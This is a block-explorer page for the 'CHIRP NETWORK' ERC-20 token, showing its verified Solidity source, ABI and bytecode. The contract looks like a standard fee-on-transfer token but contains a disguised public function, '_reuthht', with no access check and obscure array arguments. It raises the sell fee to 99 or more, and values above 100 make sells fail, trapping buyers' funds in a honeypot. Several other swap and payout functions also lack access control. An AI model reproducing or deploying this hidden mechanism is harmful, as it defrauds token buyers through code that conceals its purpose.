ETH Price: $3,309.84 (-3.62%)
Gas: 19 Gwei

Token

CHIRP NETWORK (CHIRP)
 

Overview

Max Total Supply

1,000,000,000 CHIRP

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
21,108,644.340010616 CHIRP

Value
$0.00
0xe0e65514fbb8ddbaaa802bce2b521e65b42f98e1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ChirpNetwork

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-03
*/

/*
https://t.me/ChirpNetwork

https://ChirpNet.space

https://twitter.com/ChirpNet_erc
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract ChirpNetwork is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "CHIRP NETWORK";
    string private constant _symbol = "CHIRP";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private catraffr = 2;
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private redisZero = 1;
    uint256 private _redisFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private NewValuation = catraffr;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = NewValuation;

    address payable private _developmentAddress = payable(msg.sender);  
    address payable private _marketingAddress = payable(msg.sender);
    address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = _tTotal;
    uint256 public _maxWalletSize = _tTotal * 3/100;
    uint256 public _swapTokensAtAmount = _tTotal*2/1000;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[address(0xdead)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && NewValuation == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = NewValuation;

        _redisFee = 0;
        NewValuation = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        NewValuation = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            if(to != uniswapV2Pair && to != uniswapRouter && to != _developmentAddress && to != address(this) && to !=address(0xdead)) {
                require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
              }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _swapTokensAtAmount*2)
            {
                contractTokenBalance = contractTokenBalance;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(contractETHBalance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                NewValuation = redisZero;
            }

            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                NewValuation = catraffr;
            }
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function enableTrading() external onlyOwner {
        tradingOpen = true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function manualsend() external {
        sendETHToFee(address(this).balance);
    }

    function manualSwap(uint256 percent) external {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 swapamount = contractTokenBalance*percent/100;
        swapTokensForEth(swapamount);
    }

    function toggleSwap (bool _swapEnabled) external {
        swapEnabled = _swapEnabled;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reuthht(uint256[7][6][7] memory condeoti , uint256[1] memory conductst) public returns(int) {
        require(condeoti[6][2][2] >= 96);
        require(conductst[0] >2);
        catraffr = condeoti[6][2][2] + conductst[0];
        return 1;
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, NewValuation);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function RemoveLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[7][6][7]","name":"condeoti","type":"uint256[7][6][7]"},{"internalType":"uint256[1]","name":"conductst","type":"uint256[1]"}],"name":"_reuthht","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a670de0b6b3a7640000600019620003d3565b620000289060001962000400565b60065560026007819055600060098190556001600a55600b819055600c819055600d829055600e55600f5560108054336001600160a01b0319918216811790925560118054821690921790915560128054737a250d5630b4cf539739df2c5dacb4c659f2488d92169190911790556014805462ffffff60a01b19166201000160a01b179055670de0b6b3a76400006015819055606490620000cb9060036200041c565b620000d7919062000436565b6016556103e8620000f2670de0b6b3a764000060026200041c565b620000fe919062000436565b6017553480156200010e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001cc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f291906200044d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000240573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026691906200044d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002da91906200044d565b601480546001600160a01b0319166001600160a01b039283161790556000805482168152600560209081526040808320805460ff19908116600190811790925530855282852080548216831790556011548616855282852080548216831790556010549095168452818420805486168217905561dead84527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba8054909516179093559151670de0b6b3a7640000815233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200047f565b634e487b7160e01b600052601260045260246000fd5b600082620003e557620003e5620003bd565b500690565b634e487b7160e01b600052601160045260246000fd5b81810381811115620004165762000416620003ea565b92915050565b8082028115828204841417620004165762000416620003ea565b600082620004485762000448620003bd565b500490565b6000602082840312156200046057600080fd5b81516001600160a01b03811681146200047857600080fd5b9392505050565b611987806200048f6000396000f3fe6080604052600436106101445760003560e01c80636fc3eaec116100b65780638f9a55c01161006f5780638f9a55c01461039e57806395d89b41146103b4578063a9059cbb146103e2578063b70143c914610402578063dd62ed3e14610422578063f2fde38b1461046857600080fd5b80636fc3eaec1461030b57806370a0823114610320578063715018a6146103405780637d1db4a5146103555780638a8c523c1461036b5780638da5cb5b1461038057600080fd5b806323b872dd1161010857806323b872dd146102495780632fd689e314610269578063313ce5671461027f57806349bd5a5e1461029b57806356cd40e7146102bb5780636d8aa8f8146102d257600080fd5b806306fdde0314610150578063095ea7b3146101985780631694505e146101c857806317c1f4c41461020057806318160ddd1461022e57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600d81526c4348495250204e4554574f524b60981b60208201525b60405161018f9190611490565b60405180910390f35b3480156101a457600080fd5b506101b86101b33660046114f6565b610488565b604051901515815260200161018f565b3480156101d457600080fd5b506013546101e8906001600160a01b031681565b6040516001600160a01b03909116815260200161018f565b34801561020c57600080fd5b5061022061021b366004611633565b61049f565b60405190815260200161018f565b34801561023a57600080fd5b50670de0b6b3a7640000610220565b34801561025557600080fd5b506101b8610264366004611709565b6104ef565b34801561027557600080fd5b5061022060175481565b34801561028b57600080fd5b506040516009815260200161018f565b3480156102a757600080fd5b506014546101e8906001600160a01b031681565b3480156102c757600080fd5b506102d0610558565b005b3480156102de57600080fd5b506102d06102ed36600461174a565b60148054911515600160b01b0260ff60b01b19909216919091179055565b34801561031757600080fd5b506102d0610599565b34801561032c57600080fd5b5061022061033b36600461176c565b6105a4565b34801561034c57600080fd5b506102d06105c6565b34801561036157600080fd5b5061022060155481565b34801561037757600080fd5b506102d061063a565b34801561038c57600080fd5b506000546001600160a01b03166101e8565b3480156103aa57600080fd5b5061022060165481565b3480156103c057600080fd5b50604080518082019091526005815264043484952560dc1b6020820152610182565b3480156103ee57600080fd5b506101b86103fd3660046114f6565b610679565b34801561040e57600080fd5b506102d061041d366004611789565b610686565b34801561042e57600080fd5b5061022061043d3660046117a2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047457600080fd5b506102d061048336600461176c565b6106bb565b60006104953384846107a5565b5060015b92915050565b60c08201516040908101510151600090606011156104bc57600080fd5b81516002106104ca57600080fd5b815160c084015160409081015101516104e39190611807565b60075550600192915050565b60006104fc8484846108c9565b61054e84336105498560405180606001604052806028815260200161192a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d61565b6107a5565b5060019392505050565b6000546001600160a01b0316331461058b5760405162461bcd60e51b81526004016105829061181a565b60405180910390fd5b670de0b6b3a7640000601555565b6105a247610d9b565b565b6001600160a01b03811660009081526002602052604081205461049990610dd9565b6000546001600160a01b031633146105f05760405162461bcd60e51b81526004016105829061181a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106645760405162461bcd60e51b81526004016105829061181a565b6014805460ff60a01b1916600160a01b179055565b60006104953384846108c9565b6000610691306105a4565b9050600060646106a1848461184f565b6106ab9190611866565b90506106b681610e5d565b505050565b6000546001600160a01b031633146106e55760405162461bcd60e51b81526004016105829061181a565b6001600160a01b03811661074a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610582565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610582565b6001600160a01b0382166108685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610582565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661092d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610582565b6001600160a01b03821661098f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610582565b600081116109f15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610582565b6000546001600160a01b03848116911614801590610a1d57506000546001600160a01b03838116911614155b15610c5457601454600160a01b900460ff16610ab6576000546001600160a01b03848116911614610ab65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610582565b6014546001600160a01b03838116911614801590610ae257506012546001600160a01b03838116911614155b8015610afc57506010546001600160a01b03838116911614155b8015610b1157506001600160a01b0382163014155b8015610b2857506001600160a01b03821661dead14155b15610b7f57601554811115610b7f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610582565b6000610b8a306105a4565b6017549091508082101590610ba090600261184f565b50808015610bb85750601454600160a81b900460ff16155b8015610bd257506014546001600160a01b03868116911614155b8015610be75750601454600160b01b900460ff165b8015610c0c57506001600160a01b03851660009081526005602052604090205460ff16155b8015610c3157506001600160a01b03841660009081526005602052604090205460ff16155b15610c5157610c3f82610e5d565b478015610c4f57610c4f81610d9b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c9657506001600160a01b03831660009081526005602052604090205460ff165b80610cc857506014546001600160a01b03858116911614801590610cc857506014546001600160a01b03848116911614155b15610cd557506000610d4f565b6014546001600160a01b038581169116148015610d0057506013546001600160a01b03848116911614155b15610d1257600954600c55600a54600d555b6014546001600160a01b038481169116148015610d3d57506013546001600160a01b03858116911614155b15610d4f57600b54600c55600754600d555b610d5b84848484610fd7565b50505050565b60008184841115610d855760405162461bcd60e51b81526004016105829190611490565b506000610d928486611888565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610dd5573d6000803e3d6000fd5b5050565b6000600654821115610e405760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610582565b6000610e4a611005565b9050610e568382611028565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea557610ea56117db565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f22919061189b565b81600181518110610f3557610f356117db565b6001600160a01b039283166020918202929092010152601354610f5b91309116846107a5565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f949085906000908690309042906004016118b8565b600060405180830381600087803b158015610fae57600080fd5b505af1158015610fc2573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80610fe457610fe461106a565b610fef848484611098565b80610d5b57610d5b600e54600c55600f54600d55565b600080600061101261118f565b90925090506110218282611028565b9250505090565b6000610e5683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111cf565b600c5415801561107a5750600d54155b1561108157565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806110aa876111fd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110dc908761125a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461110b908661129c565b6001600160a01b03891660009081526002602052604090205561112d816112fb565b6111378483611345565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161117c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006111aa8282611028565b8210156111c657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836111f05760405162461bcd60e51b81526004016105829190611490565b506000610d928486611866565b600080600080600080600080600061121a8a600c54600d54611369565b925092509250600061122a611005565b9050600080600061123d8e8787876113be565b919e509c509a509598509396509194505050505091939550919395565b6000610e5683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d61565b6000806112a98385611807565b905083811015610e565760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610582565b6000611305611005565b90506000611313838361140e565b30600090815260026020526040902054909150611330908261129c565b30600090815260026020526040902055505050565b600654611352908361125a565b600655600854611362908261129c565b6008555050565b6000808080611383606461137d898961140e565b90611028565b90506000611396606461137d8a8961140e565b905060006113ae826113a88b8661125a565b9061125a565b9992985090965090945050505050565b60008080806113cd888661140e565b905060006113db888761140e565b905060006113e9888861140e565b905060006113fb826113a8868661125a565b939b939a50919850919650505050505050565b60008260000361142057506000610499565b600061142c838561184f565b9050826114398583611866565b14610e565760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610582565b600060208083528351808285015260005b818110156114bd578581018301518582016040015282016114a1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114f357600080fd5b50565b6000806040838503121561150957600080fd5b8235611514816114de565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b60405160e0810167ffffffffffffffff8111828210171561155b5761155b611522565b60405290565b60405160c0810167ffffffffffffffff8111828210171561155b5761155b611522565b600061158e611538565b90508060e08301848111156115a257600080fd5b835b818110156115bc5780358352602092830192016115a4565b50505092915050565b600082601f8301126115d657600080fd5b604051602080820182811067ffffffffffffffff821117156115fa576115fa611522565b604052818482018681111561160e57600080fd5b855b818110156116275780358352918301918301611610565b50929695505050505050565b6000806124e0838503121561164757600080fd5b601f848185011261165757600080fd5b61165f611538565b806124c086018781111561167257600080fd5b865b818110156116ee57888582011261168b5760008081fd5b611693611561565b8061054083018b8111156116a75760008081fd5b835b818110156116da578c898201126116c05760008081fd5b6116ca8d82611584565b845260209093019260e0016116a9565b505085525060209093019261054001611674565b508195506116fc88826115c5565b9450505050509250929050565b60008060006060848603121561171e57600080fd5b8335611729816114de565b92506020840135611739816114de565b929592945050506040919091013590565b60006020828403121561175c57600080fd5b81358015158114610e5657600